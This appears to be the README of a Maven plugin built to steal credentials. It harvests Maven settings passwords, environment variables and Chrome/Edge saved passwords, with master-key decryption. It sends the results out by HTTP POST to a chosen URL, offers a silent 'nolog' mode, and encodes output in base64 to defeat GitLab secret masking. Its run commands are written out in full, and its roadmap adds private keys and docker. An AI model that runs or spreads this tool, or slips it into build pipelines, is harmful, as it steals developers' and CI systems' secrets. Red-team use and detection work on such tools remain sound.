Maven plugin to extract password from different source:
- maven settings (repositories and mirror password)
- env
- chrome/edge
(no installation needed) Requirement:
- a working maven install (JAVA_HOME, path, etc...)
mvn ninja.stealing:maven-password:0.0.4:dump
git clone https://github.com/tr4l/maven-password.git
cd maven-password
mvn install
Added export for chrome password
- Windows: with and without DPAPI
- Windows: With and without a master key
- Linux: with the default Linux master key Added http delivery method Added different logger (incuding nolog)
Added export of env variable Added b64 export (to avoid [MASKED] protection in gitlab) Added Delivery interface. Only supporting log on first release Added json export
Some example of advanced usage
mvn ninja.stealing:maven-password:0.0.4:dump -Dlogger=nolog
Possible logger:
- nolog: no log. Even for the log delivery
- maven:(default) Use builtin maven logging
- system: write log using System.out
mvn ninja.stealing:maven-password:0.0.4:dump -Dextract='maven,env'
Possible extractor:
- all:(default) Use all extractor
- maven: Extract maven information
- env: Extract environment variables
- chrome: Extract chrome/edge password
mvn ninja.stealing:maven-password:0.0.4:dump -Ddelivery=http -Durl="http://127.0.0.1:8080/xxx"
Possible delivery:
- log:(default) Deliver extraction trough log
- http: Deliver extraction trough http POST request. This need an url parameter
- all: all of the above
- private keys
- sample settings
- maven root password?
- eclipse?
- docker